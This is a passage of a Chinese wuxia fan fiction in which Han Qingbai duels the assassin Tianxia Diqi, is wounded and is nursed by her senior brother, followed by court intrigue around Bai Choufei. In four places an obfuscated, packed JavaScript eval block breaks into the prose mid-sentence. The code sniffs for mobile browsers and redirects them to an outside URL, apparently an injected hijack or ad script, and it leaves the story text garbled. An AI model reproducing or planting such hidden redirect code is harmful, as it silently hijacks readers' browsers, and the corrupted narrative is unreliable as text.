“我听说过这个人,他很麻烦,也很棘手,是个不好惹的煞星。” 关于这人的事情,还是罗睡觉跟她讲的,因为温火滚只知道有这么一个人存在,但实际上压根没见过。 小师兄告诉她,天下第七是太师跟前的红人,时常贴身拱卫,虽然名声不显,很是低调,来历神秘,但太师非常信重他,听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118883|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说命他去做过不少事情,他都完成得很好。罗睡觉说得模糊,不过寒轻白也大概能听懂,天下第七大概是为蔡京清除一些不听话而又不便公开处置的人,是太师放在暗处的一把刀。 七绝神剑到太师府就职时日尚短,在太师府的地位是比不上天下第七的。 而且天下第七还是大魔神元十三限的弟子。 元十三限正是曾经跟他师兄小花一起打败七绝剑神的人,那时他还是四大名捕,后来投暗弃明,跟了太师,收了不少徒弟都兢兢业业在太师府找了个岗位工作,其中天下第七不仅是元十三限的得意门生,也是元十三限调教过的弟子中在太师府混得最好的。傅宗书不算,他本就是朝廷命官,不需要跟这群刀口舔血的一起卖命向太师邀功。 所以罗睡觉等人虽然不怕天下第七,但一来忌惮他得太师信重,二来元十三限与他们师父有宿怨,再加上天下第七这人阴森恐怖,人不人鬼不鬼的,罗睡觉一向避而远之,并建议寒轻白也如此行事。 许天衣略一点头,语气中的沉重半分也不减。 “不错,你既然知道他,便好说了。这就是我为什么谁也不告诉的原因。我本来也没有想到他头上,只是他替蔡京杀人太多,不得不令人怀疑。” “他已知道你在调查他,所以要杀你?” 许天衣点头,又摇头,道:“他主人想对付温大人,所以他要抓温柔,我必不可能叫他得逞。” “你们可以在这里休息,如果天下第七追来,我也会出手阻止,但出了这屋子的事情,我一概不认。神针婆婆很照顾我,我有心相助你,只是我也有我的难处,希望你能理解。” “当然,我明白,其实本来也不愿将你们牵扯进来。” 寒轻白看向温柔,她睡着的时候面容恬静,看起来好像棺材里的白雪公主,似乎要一梦不醒,但实际上只要把毒苹果吐出来,一睁眼,她就会变回那个无忧无虑的千金大小姐。 “天下第七先不提,算计温姐姐的又是谁,你们有想法吗?他总不可能随便找个时机,在温姐姐逛成衣铺子的时候就袭击她吧。” “那倒不是,温柔她……” 许天衣开了个头,停住了。 于是寒轻白爽快地又当了一个缺德的人。她已经是讲第三遍了,语句极为流畅,叙事极为丝滑,半点也不带打磕绊的。 方恨少大叫道:“等等,所以你就是温姑娘那天回来后心心念念了两三天结果没找见就放下了的轻白妹妹?” “寒轻白啊,我的名字,我不是自我介绍了吗。”寒轻白不解地看了他一眼。 方恨少委婉道:“你看起来跟温姑娘的形容略有差别。” “既然你就在京城,那为什么我们当时找了半天也没找见你呀?温柔一直想找你玩。” “你们找过瓦子巷吗?”寒轻白反问。 “没有,我们为什么要去那里找、啊,所以你……”方恨少没说下去了。 “对吧,所以你们当然找不见我。”她理所当然道。 22.二人交手 方恨少欲言又止。 寒轻白睨了他一眼。 “总觉得你在想什么奇怪的东西,我经常去瓦子巷玩,如果你们不去瓦子巷找我的话,在别的地方不容易碰到我。我已经在京城玩了好一段时间了,除了那次以外一直没跟温姐姐碰到过,这就已经说明问题了吧,我们去玩的地方不一样。” 方恨少松了口气,道:“原来你是这个意思,吓我一跳,我还以为你就住瓦子巷。” 寒轻白摇摇头,说:“瓦子巷的房子太贵了,租不起。” 方恨少一向是侃侃而谈的那个,现如今被寒轻白噎住,叫许天衣虽然还在想刚才寒轻白所说的关于温柔的事情,心情难免沉重几分,可却还是忍不住发笑,笑过之后,他问起寒轻白关于她所知道的细节。 许天衣非常重视她说的话,虽然以他现在这个伤势的严重情况卧床静养更好,但显然他现在不弄清楚细节是不会罢休的。所以寒轻白捡了些她看到的事情跟许天衣讲,她自己推测或者猜的部分就没必要说了。 在许天衣陷入沉思后,寒轻白走出来,把门关上,然后坐在院子里等待。 她带方恨少他们过来的时候后面没跟什么杀手清洁工。经常杀人的人都知道,杀人容易毁尸灭迹难,虽然方恨少等人没死,但许天衣实在流了不少血,这一路上淌下来,就算是最专业的清洁工也要一个时辰才能清洁干净。天下第七若是真如罗睡觉所言是个棘手又谨慎的家伙,即使有王小石阻碍,可除非他们分个胜负生死,不然他不会没有余力找过来。 罗睡觉一向高傲自负,眼高于顶,按余厌倦的话来说就是虽然七绝神剑同为一路,但也没见他多瞅过同门师兄一眼。 虽然他们不怎么表现在寒轻白面前,也不怎么在她面前提,但寒轻白也能从日常相处中窥见几分。罗睡觉年纪最小,是她的小师兄,可平日里也没见他对其他师兄有多尊敬,向来直呼大名,张口就是温扫眉余默然,当着温火滚的面时态度也就那样,但以温火滚的脾气没让他滚,足以说明罗睡觉在七绝神剑中的地位,证明他确实是七绝神剑之首,大家因为常年的竞争不服他,可又确实承认他的能力。 能让罗睡觉难得开口说忌惮和避而远之的人,寒轻白还是头一回听说,不免多了几分好奇和跃跃欲试。 她没有跟罗睡觉认真打过,罗睡觉也不跟她打,所以她有些想跟这个被罗睡觉重视的杀手打一架,看她如今的水平究竟如何,跟她小师兄究竟还差多少,差在哪里。 她的等待是有结果的。 出现在她面前的是一个瘦瘦高高的人,阴阴寒寒的,像从地里挖出来的尸体,他背上挽着一个老旧沉重的包袱。这人从院外墙上跃进来,白多黑少的眼睛翻了翻。 “许天衣在哪?”他问。 “你擅闯民宅。”她说。 天下第七听了她的话,并没有答,而是看向她身后关上了的房门,冷声道:“难道天衣有缝不敢来与我一战,要躲在一个女人身后当懦夫吗?” “所以你不想跟我打?”寒轻白一边说话,一边拔刀。 听见刀从刀鞘中被抽出的声音,阴冷的视线落在寒轻白身上。 “但我想跟你打一场。”寒轻白说。 “你找死,那便怪不得我。”他沉沉道。 寒轻白学刀时打基础一开始是她父亲教的,再往后是在庐山上练的,后来她得了神针婆婆指点,悟得拈花摘叶之轻灵,再往后是苏梦枕,红袖刀清艳无双,灿得像霞,美得像诗。她学,她悟,她试图将悟到的东西融入她自己的刀中。 现如今体现在天下第七面前的便是悟得之后的成果。 寒轻白先出招,刀锋直直朝天下第七劈去,天下第七侧身移开,他躲得很快,而且他不单单只是躲了,他并不是一个遇到攻击之后只闪避而不反攻的人。他使出了仇极掌,深仇大恨,好似不死不休的死敌,与此同时,他散发出的杀意也更浓郁了,危险,令人畏怖,也更接近死亡。 他在试图争夺势。战斗中势是非常重要的一部分,只有夺得了势,才能占据先机,只要占据先机,哪怕只有一分优势,也可扭转乾坤。天下第七最常所使的招数便叫做势剑,先取得优势,再出手,一击必杀。 不识天高地厚的小子他已杀过不知多少,手下亡魂不计其数,不过以往像这样杀掉的漂亮姑娘倒是几乎没有。他散发杀意,但面前不知名姓的姑娘显然半点也没有害怕,她的刀很稳,在面对仇极掌的攻击时,并没有惊慌,反而很流畅地一转刀锋,连消带打,明明一开始是大开大合直来直去的刀法,近距离时却反而更加多变,刀意轻灵,该借力时借力,并不硬碰,但在能攻击到他时也绝不放弃任何一个机会。 天下第七没有带刀,他的武器是他的包袱,没人知道里面装着什么,不过他暂时还不打算用到包袱。太大题小做,而且也太令人惋惜了。这样相当漂亮的一张脸,他还不想一下子让她四分五裂变成碎块。 这样想着,他再度逼近,准备打掉她的刀,接下来怎么做还没想好,最好能把许天衣逼出来,还有他的那个书呆子同伴,谁知道这段时间里许天衣告诉了他多少内情。 然而还没等他进行下一步动作,就发现打掉这姑娘的刀,让她失去武器也不是那么容易就能完成的事情。刚刚因为他离的太近,这姑娘没有急忙收刀来攻击他,与之相反,她直接用左臂肘击,天下第七格挡,但是这一肘的力道比他预想得还要大,居然让他产生了疼痛,意识到这一点,他立即后撤消力,然而寒轻白不会让他就这样退后,反而提膝旋身一踹,被天下第七用于再度格挡的手臂直觉疼痛,接下这一腿的时候骨头都要断裂了一样。 但天下第七也不是吃素的,他抓住这个时机,忍着疼痛,面不改色地发出了势剑,光芒刺穿了寒轻白的腹部,瞬间溢出大量鲜血。 得手后,天下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124958|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第七立即后退,后撤一定距离。 但是在他后撤准备发出掌法的时候,这个距离也很适合寒轻白挥刀,她没有犹豫,腹部被撕裂,鲜血溅出的同时刀锋也朝天下第七砍去,携裹着炽热的温度,火花星星点点附着在刀锋上,像夜空中的萤火虫,然而萤火虫却没有火花这么高的温度和可怕的杀伤力,刀锋砍中天下第七的皮肉骨头,随即而来的再度的灼伤,皮肉被烤焦后散发出焦香。 二人退开一段距离,调整呼吸,天下第七喘息着,他看向寒轻白的眼神变了。 “你的主人是谁?” 如果说他先前还把她当做一个女人,一个姑娘来看的话,经过短暂的交手,现在的想法已经完全变了。 抛开这层好看的皮相,这持刀的姑娘战斗起来的风格绝非是闺阁千金所能培养出来的,换句话来说,他自己战斗的时候都不可能这么不畏生死。 他重新看向她的眼睛。 那是一双跃跃欲试,充满战意的眼睛,透露着一种野性,不像是食肉动物捕猎时看向猎物的杀意,更像是别的什么东西,一种更纯粹的、不计后果的、想要打败他的热情,就好像幼童在玩游戏时遇到挑战那样。 纯粹又诡异,天真又残忍。 无论是她自己流的血,还是腹部被刺穿后呼吸乃至用刀时发力所造成的撕裂的痛似乎全都不被她放在眼里。在战斗的时候,疼痛对她来说似乎只会起到兴奋的作用。 毋庸置疑,这是一头好战的野兽。 这样一只野兽不可能寂寂无名,但现实如此,他确实没有听说过她的名头,那么只有两种可能,要么她的主人在有意约束她,要么她的主人满足了她的狩猎欲望,消磨了她的精力,而以天下第七的情报却从未接到任何消息。 无论是哪一种可能,她的主人都一定是一个相当棘手的角色。 “主人,什么主人,这条街的居委会主任吗?应该不管我们打架吧。” 这样说着,寒轻白提刀再上,刀锋在空中划出弧线,在天下第七看来,像要撕咬敌人的野兽所露出的利齿。随着砍劈的动作,刀锋与空气摩擦出星星点点的火花。刀以一种罕见的、自下而上的角度朝天下第七砍去。 天下第七出招格挡,他已经看出来了,寒轻白的武功没有他高,正因如此,他们还能这样有来有往地交手弄伤对方,但这对于天下第七来说显然划不来。他先前偷袭许天衣是本着有心算无心,后来跟王小石对上,蔡京似乎有意要王小石去做什么事,所以他尽量避免与王小石交手。可王小石一力阻拦他追击天衣有缝许天衣,无法,他只能出招,只是以他们两个人的实力除非他用尽绝招,不然很难真的杀了王小石。 就这样被王小石拖延了时间,然而祸不单行,他沿着踪迹再追来却又遇上了这只年幼的野兽。 看来不论许天衣究竟在不在里面,今天都很难进去一探究竟了。天下第七阴沉沉地想。 23.咔咔一刀 没有十足的把握,没有足够的利益,天下第七不欲继续与这只野兽搏斗。杀许天衣不急于一时,只要有温柔在,将他引出来的机会多的是。 只是这头野兽明显不会轻易放过他,对方的意图很直白,要跟他打一场,跟他分出胜负来。既分高下,也分生死。 但天下第七显然没有这个意思,他武功高强,但十分谨慎。 先前要杀许天衣时,五个月内他跟踪了许天衣七十多回,有十余次想要下手,却又没真的出手,因为他没有十足的把握。这一回趁着机会,重伤了许天衣,可又落后一步,一步后步步后,有王小石挡路,还有这只野兽在前,天下第七在心里一边咒许天衣赶紧失血过多死掉,一边暗骂面前这家伙的棘手。 如果说先前他还拿她当个姑娘来看,心想这姑娘跟温柔相比少了几分娇生惯养,多了几分率性随意,明明有一张清丽的面容却又与雷纯的如雪清艳和雪霜的娇艳端丽不同,居高临下点评着她的容貌,那么现在他看寒轻白完全就是在看一种非人的什么东西。 没有杀意,但比有意杀他更可怕。 寒轻白出刀并不快,她出的每一刀都能看清来路,看清楚是从哪个方向来的,又是朝着他的哪处去的,是攻击还是格挡。 天下第七都看得很清楚,也能分析得很透彻。袭来的刀没有很慢,也没有很快,至少没有快到看不清的程度,但是速度也正正好,好在一个即使他看清楚了攻击而来的刀,也没有办法出手格挡回去,因为天下第七无法忽视附着在刀锋上的沉重力道。假如他出手去格挡,那么他自己的剑也别要了比较好,只有一次性被砍断的命。 所以对于寒轻白的刀,他只能躲,可躲的同时也不能太过接近对方去偷袭,若是不拼刀剑改为近身格斗的话,吃亏的更是他,只能凭借高于她的武功和丰富的战斗经验应付这头野兽的攻击。 天下第七抽空避开寒轻白的攻击,取下他的包袱。他的包袱里装了什么,他的武器究竟是什么,没人知道,这使得他一直神秘、深沉下去。然而可以肯定的一点是,他的包袱里有他对敌的招数。 他摊开包袱。 千个太阳在他手里一起炸开。 直面太阳的刺眼光芒让寒轻白的眼睛自然采取行动保护自己,视野缩小的同时视线变得模糊。 阻碍遮挡甚至伤害视力是山上动物们面对危险时习以为常的做法,寒轻白曾面对过火辣辣的植物汁液,还有黑得看不见五指的夜晚中与自然环境融为一体的毒蛇,她在面对强光的一瞬间便立刻做出反应闭上眼睛,同时将注意力转移到听觉和其他感官上去。 呼吸的声音。 血液流淌的声音。 刀刃挥动的声音。 这些声音都钻进寒轻白的耳朵里,迅速被分辨出来。 天下第七拿着包袱同时朝她发出攻击的形象被她通过声音勾勒出来,寒轻白毫不犹豫地躲开攻击,刀光朝天下第七挥去。 这一回的刀似乎与先前的都不太一样,柔顺温婉,甚至还有些顺从无依,像美人挥袖挽留,像落花轻点溪水那一颤,然而可怕就可怕在它的顺从。 避开了所有的锋芒,避开了天下第七的攻击,看起来几乎有些凄艳的刀光落在天下第七身上。 天下第七挨了寒轻白一刀,流了血,受了伤,一声不吭,借着力退开,然后施展轻功转头就跑,撤得干脆利落,毫不犹豫。 天下第七能毫不留恋地就跑,寒轻白却留在原地短暂思考了一下是追上去还是留在原地不动,最终还是决定不追上去。 一来她的眼睛恢复还需要一点时间,二来天下第七有什么后招她倒是不怕,只是担心会是什么调虎离山之计,等她再回来的时候天衣有缝成了血衣无缝,那她可真没空说理去。这样一迟疑,寒轻白再抬眼看去时,就已经瞧不见天下第七的踪影了。 天下第七的战斗意识很强,战斗经验也很丰富,还有最后那个闪瞎人眼的光,寒轻白还是头一回见到这种招数,他确实如罗睡觉所言是一个相当棘手的杀手。以寒轻白目前的水平来看,她可以伤到他,但要杀他还很难,不过相对应的,天下第七若是想要杀寒轻白的话,也会付出不小的代价。 一场战斗结束,除了眼睛受了强光后还没恢复过来,有些红红的,她身上最严重的伤在腹部,内脏所在的区域被势剑刺穿。势剑的光芒并非直来直往,在捅穿的同时还往旁边刺了不少下,从洞里还能看见血糊糊的内脏,寒轻白把掉出来的塞回去,然后进屋取了绑带简单包扎了一下,在方恨少震惊又欲言又止的表情下告诉他们让他们尽管休息,她自己就先回去养伤了,以后有缘再见吧。 她走得利落,哪管被留在屋子里的人作何想法。 这屋子是孙三四送她的,说是她的客人赠她的,来历还算干净,没什么牵扯,就算差也查不出来什么。现在被用来暂时安置许天衣他们正好,不过屋子里没有常备伤药,许天衣的血也是勉强被止住的。 寒轻白便打算回温火滚的宅子里去,正好等温火滚回来帮她缝伤口,她自己缝得总是歪七扭八的,旁的伤口便罢了,最多也就是难看点,这次伤到腹部,如果不缝细致一些的话,寒轻白担心吃东西的时候从里面露出来。 她的运气很好,没等多久,温火滚就回来了。 “小寒?咪咪?” 温火滚习惯性叫了她们的名字,却没得到回应,与此同时,院里还有铁锈味久久不散,在他越靠近屋子的时候越能闻见,这样浓郁的血腥味令他心生不安,温火滚沿着血味寻来,发现是从寒轻白的屋子里传来的。他忙进屋一看,吓了一跳。 屋里有很浓郁的血味,好像死了三四个人一样。 寒轻白还活着,她靠在床上翻着话本看,咪咪就趴在她身旁,团成一个黑色的毛线团,然而令人无法忽视的是寒轻白身上的伤。 “师兄帮我缝个线吧,等你好一会了。”寒轻白见温火滚走进来,合上话本子朝他挥手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133542|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你别说话,快躺下,我这就给你缝伤包扎!伤这么重怎么不叫人去找我!就这你还看话本子?” 温火滚一边骂一边跑去取针线和药,再跑回来给她娴熟地清创缝伤。他自己下山后受了不少伤,比这吓人的也有,可寒轻白先前下山晃悠的时候没怎么受伤,反倒是如今忽得重伤在身,这怎么不叫他吓一跳。 “等你帮我缝嘛,我自己缝的话怕缝得太宽线会崩开。而且我这不是拿绷带先裹起来了。” 等彻底包扎好以后,温火滚皱着眉头问道:“怎么回事,怎么受了这么重的伤,看着也不像是被围攻,对方用的是什么武器?” “只有一个人,不过用的武器是什么我还没看出来。” “你们交手了,但还是没看出来他的武器是什么?” “他用剑,但是那个包袱又跟闪光弹似的,闪光弹之后还有好多攻击等着,我回想了半天还是没有想出一个合适的形容来,感觉怎么想都不科学,他带的包袱好像哆啦A梦的口袋,四次元空间里什么刀枪剑戟都能放得下。” 听见包袱,温火滚心中有了猜想,他给寒轻白捻好被子,随口道:“想不起来就别想了,等你伤好了再慢慢说,不科学就不科学,这世上又不是所有都是科学的,你说的那什么赛先生也不是通晓万物的,是不是,你当时见了你小师兄出剑也觉得不科学。” “难道用脚出剑很科学吗?而且小师兄的外号我也想吐槽很久了,单就一个剑字,他就是剑,剑就是他,真的不是在骂人吗。” “本来没觉得,被你这么一说,倒真感觉像是在骂人。” “我不信,你肯定在敷衍我,你们肯定私底下这么骂他很久了。” “知道就好,不用说出来。给你师兄们留点隐私,再说了,那是你小师兄该骂,骂他剑都算委婉的。饿不饿,想吃点什么,失了这么多血,要不我把你小师兄叫过来给你做饭?” “师兄怎么忽然说话突然这么温柔,我都有点不习惯了。”寒轻白缩在被子里,歪歪头。 温火滚没忍住翻了个白眼,他叹了口气,道:“因为你这个傻孩子发烧了。” “哦,我懂了,所以现在出现我面前的是幻觉是不是?” “……我现在就想打你。” “啊,幻觉消失了,师兄好。” “师兄不好,师兄被你气得。” “咪咪在哪?” “咪咪在你旁边,咪咪今天很乖,你伸手摸摸它,它就在旁边陪你。” “师兄也陪我。” “师兄陪,陪你睡着了就去做饭,等醒来了喝粥好不好,还弄了些龙眼冰来,等你睡醒了就能看见。” “桂圆?不想吃蜜饯桂圆,太甜了,而且好干。” “都是新鲜的龙眼冰,不是蜜饯的。” “那要吃。” “没吃过的东西还这么挑,好好休息,这会看着眼睛都要睁不开了,睡吧,师兄在旁边待着不走。” 24.没有小寒 温火滚难得哄着让她按时换药吃饭,因为重伤而导致的高烧不退实在叫人忧心忡忡,不过还好寒轻白的生命力一向顽强,他找了几个有名的大夫看了后都说虽然看着凶险,但恢复速度很快,没有生命危险。 只是再怎么没有危险,在寒轻白没有再度活蹦乱跳从床上蹦起来之前,温火滚也很难消解心中的担忧,余厌倦来探病的时候还叫寒轻白的情况属实吓到了,主要是认识这么多年来还真是头一回见寒轻白病恹恹地、烧得迷迷糊糊的模样。 “伤这么重,这是对上谁了,对方死了没有?”余厌倦低声问温火滚。 温火滚也压低声音回他,“不知道,我问她的时候说得前言不搭后语的,应该用剑,但好像还有其他武器。” “以小寒的实力,如果能把她打成这个样子,在京城里应该不会没有名气。只能看最近有谁受伤或者死了,要是死了最好,死无对证,没人知道是谁杀的。” “我更倾向那人应该没死,要是死了,小寒绝对不会不提。” “没死啊,那就麻烦了,先看看那人是谁,要是有机会的话咱们把人杀了。” 温火滚朝他点头,算是赞同余厌倦的话。 余厌倦继续说:“那最近你就看着小寒?反正雷纯那边也没怎么叫我们做过事,也就吴去那边去得勤快点,他好像对六分半堂风雨楼的那些破事挺好奇。吴的能力一般来说也够了,要真有大事,太师自会吩咐,到时候罗老幺顶上,谁管我们在不在。” 温火滚一想也是,便道了声好。 七绝神剑是蔡京招揽来的剑手,虽然现在把使用权暂借给了雷纯,但实际上雷纯能勉强使唤的只有六剑。罗睡觉在蔡京身边拱卫,没有蔡京命令,压根不睬她。而至于那六剑,她要想使用,还得真金白银一箩筐好话供着,不然这些个年轻的剑手不会轻易出动。 雷纯可以接受这样的情况,事实上,她也没有怎么使用过七绝神剑,在苏梦枕失踪的当下,大多数势力、包括她都一心叫自己的属下去寻找苏梦枕的踪迹,七绝神剑武功高强,可并非寻人的好手。 六分半堂如今在狄飞惊的帮忙下,雷纯的地位已经被确定,不管真心假意,都称呼她一句雷总堂主。 苏梦枕不在,王小石勉力支撑金风细雨楼,其实若不是有杨无邪维系,不少人都不满王小石的优柔寡断,只是看在是苏梦枕指名的人才按下不满。 白愁飞曾言明他抓走了王小石的父姐,要王小石束手就擒,然而还没等雷纯看够这场发生在风雨楼内部的好戏,王小石和四大名捕就从龙八太爷的府邸里把人救了出来,让外面的人都十分好奇他哪里来的情报消息,知道人被关在龙八府里。王小石难道就不怕这是一个假消息,目的是为了要他得罪位高权重的龙八太爷吗?还是说他即使知道这可能是一个假消息,也要闯龙八府,如果是这样,不得不叫人佩服这颗小石头的胆色了。如今他救出了自己的父姐,挫败了白愁飞以人质要挟的计划,现在白愁飞手上已经没有了能叫王小石忌惮的东西。 然而众人之所以犹豫,觉得白愁飞还没有彻底失败的主要原因便是他还是蔡京的义子,只要蔡京还愿意支持他,他就没有失势,随时还能东山再起。 不过雷纯已然没有了这份顾虑,因为她早就已经在蔡京面前告了白愁飞一状。蔡京知道她的态度,知道她有仇必报,一定要白愁飞死,那么他默许雷纯做出一副支持王小石的态度究竟有何用意也已然明了。 在他们看来,王小石虽是师承自在门武功高强,可性情优柔寡断,只有他一个人是成不了什么大事的。再加上他对身边人很是宽和,宽和到了纵容的地步。都到现在了,王小石依然对白愁飞下不了手,希望他的好二哥能够回头是岸,那么对雷纯这样一个不通武功的弱女子想来也一定非常温柔和善,届时雷纯再伺机夺取金风细雨楼的控制权,赶走王小石。这样一来,京城帮派尽归雷纯手下。 没有蔡京撑腰,雷纯不能服众,所以她不会像其他人一样生出令人厌烦的野心,如此一来,蔡京便可居于幕后掌控京城帮派。 这些居于高位之人不曾言说的想法与温火滚没什么关系,他也不曾看透过这些明里暗里的算计,他只知道雷纯笑吟吟地告诉他们,太师有令,要八大刀王、任劳任怨、四派掌门、七绝神剑以及天下第七去辅佐白愁飞,听他指令。不过接下来就是白愁飞的死期,所以也没必要太尽心尽力,等雷纯出场之后再听她说几句就好。 于是温火滚这才明了,太师已经厌烦了白愁飞,要趁此机会把他留给雷纯,让雷纯自行处理,作为对雷纯听话懂事的奖赏。 “罗老幺又不在,还是就咱们六个。”梁伤心说。 “不仅就咱们六个,还得不出全力,不过也行,意思意思就得了,有这么多人都一起跟着白愁飞,看来这次行动还轻松。”吴奋斗很乐观。 温火滚道:“管他罗老幺在不在,早点结束早点撤退。” “火气十足啊,老温。找找那人了没有,小寒怎么说。”孙忆旧凑热闹问了一句。 “小寒醒了之后就没说关于那人的事情了,她说想自己去杀。这次叫他跑掉了,下次就不一定了,下次她一定能要了对方的命。”回答他的是余厌倦,余厌倦顿了顿,才继续道:“小寒都这么说了,他还能怎么样。” “也是,小寒想把人当做自己的猎物,老温也没什么阻止的理由,让小寒伤好了之后自己去报仇雪恨挺好。” “你这话说的好像小寒是什么山里到处乱跑捕食的狼或者虎一样。” 孙忆旧立刻道:“我可没说,这话是你自己说的。” 等到了白愁飞那里,他们便不再聊天,闭嘴听着白愁飞吩咐,冷眼看他与王小石对峙。 如果说白愁飞和王小石还能说是势均力敌,那么另一个人的出现便打破了这场平衡。 苏梦枕。 一双燃着寒火的眼,苍白消瘦的模样,见了他的人,第一眼注意到的永远不会是他将死未死的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138758|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病容,而是那双眼。 失踪了有一段时间,被京城中不少势力寻找的苏公子苏梦枕,如今他出现在这样决定金风细雨楼主事人的关键时刻,毋庸置疑,大部分风雨楼弟子都会选择苏梦枕,而非旁边的王小石亦或白愁飞。 “大哥!”王小石见了他,满是喜悦和惊喜。 先前他着急寻找自己父姐所在地线索的时候,是杨无邪杨总管提供的情报,王小石一直感念杨无邪的倾力帮助,对于苏梦枕的踪迹王小石也一直在搜寻,一方面是要找到大哥,希望自己的结拜兄弟平安无事,另一方面还有对杨无邪的愧疚,杨无邪对苏梦枕的崇拜和尊敬长眼睛的都看得出来,苏梦枕才是金风细雨楼的顶梁柱。如今苏梦枕无事,他比谁都要高兴。 “你没事就太好了!” 与王小石纯然的喜悦不同,白愁飞只冷哼一声,不再说话。 他敬佩苏梦枕,然而正是因为敬仰苏梦枕,服气苏梦枕的能耐,所以他才一定要苏梦枕死。 然而,他就是不死,他病的那么重,有那么多人都要他死,但即使是他找了蔡京派人出手,苏梦枕也只是失踪。白愁飞本就打算继续派人找苏梦枕的下落,就算死了他也要见到尸体,不然即使这次真的能入主金风细雨楼,白愁飞也会寝食难安。 他冷哼,他不说话,可一见到苏梦枕,他就知道自己离胜利的距离变得更远了。但是没关系,他还有义父的支持,只要蔡京还不打算放弃他,他就仍有机会。 “小石头。” 苏梦枕在见到王小石的笑脸后,他也微微一笑,随后他将视线投向白愁飞。 “白老二,束手就擒吧,你已无胜算了。” “我还没有输。”白愁飞冷冷道。 他傲然一笑,道:“我承认是你技高一筹,苏老大,我想杀你,可还是叫你跑了,计划没成,但你别忘了,我现在这里还有这么多高手在这,你们岂能都对付得了?只要在这里把你们都杀了,日后还是我说了算!” “不错,这里是有很多高手,可是难道你觉得他们一定会为你出手吗?” 回答白愁飞狂傲话语的是雷纯,她缓缓开口,眉眼带笑,带着笃定的自信。 温火滚没有再继续听雷纯、苏梦枕与白愁飞之间的交锋,他看向他在听到寒轻白说包袱一词时第一时间怀疑到的那个人。温火滚以前只听说过他的名声,知道他是太师面前的红人,这还是温火滚头一回见到真人。 天下第七。 这看着跟个死人一样的家伙一直阴着脸,森冷得像一具尸体,可尸体才不会渗出新鲜的血味来。他受了伤,而且伤得不轻,这样的认知给他增添了几分活人的感觉。 他明明伤得不轻,可还是来了。 要么是太师有令,要么是他自请出手。 天下第七来参与其中的理由与温火滚无关,但如果他身上受的伤是寒轻白造成的话,那就与温火滚有关了,因为那就意味着寒轻白身上的伤是天下第七所为。 25.一点后续 天下第七对注视他的视线没什么反应,或者说是因为看他的人太多了,他懒得一个一个看过去。 在雷纯拿出蔡京的手令之后,仍旧旗帜鲜明支持白愁飞的就只有他天下第七、郭东神雷媚以及白愁飞请来的外援神油爷爷叶云灭。所以被不少人注视着、留意着、观察着也不足为奇。 白愁飞一听雷纯的话,联系先前局势情况,便知蔡京的指示肯定在雷纯拿出手令之前就已经告知了八大刀王、七绝神剑、任劳任怨乃至四大剑派掌门等人,要不然以七绝神剑在这里六人合力之能,是完全没有理由拦不住王小石的帮手的。 七绝神剑既然早就得了指令,断不会冒大不韪替白愁飞出手,拼命去拦王小石的助力,故而现在叫他们跟王小石和苏梦枕汇合,反倒占了上风。 想到这,白愁飞忿忿不平道:“苏老大,这本是风雨楼的内务,你引六分半堂的人来,难道不是引狼入室?还是说你打算把金风细雨楼拱手送给雷纯?” “就是因为没这么想,所以才这样做,请雷总堂主来做个见证,免得太师手下的人在我风雨楼大动干戈。何况雷总堂主可不是我请来的,是白老二你的人请来的。” “我的人?”白愁飞不可置信。 “梁何。”雷纯微微一笑,吐出一个名字来。 白愁飞脸色变得更不好看了几分。梁何投了雷纯,意味着他有可能把长空帮一事也告诉了雷纯,那本是白愁飞之所以保证天下第七愿意助他的把柄。可若是六分半堂公开说出此事,天下第七愿不愿意继续帮他都是两说。 屋漏偏逢连夜雨,六分半堂在痛打落水狗这方面也是高手专家,雷纯从来不是有仇不报的人。正相反,她有仇必报,苏梦枕的杀父之仇要报,白愁飞的仇当然也要报。不过在暂时还找不到苏梦枕的破绽之前,她可以先选择集火白愁飞,出一口气,至于报复苏梦枕,来日方长,她有的是时间,也有的是耐心。 天下第七可能不给雷纯的面子,但狄飞惊开口,他还是会听的。 “识时务者为俊杰,你一向都是那种俊杰,而今在这种狼子野心的人身边不肯离去,必然有你的苦衷。” 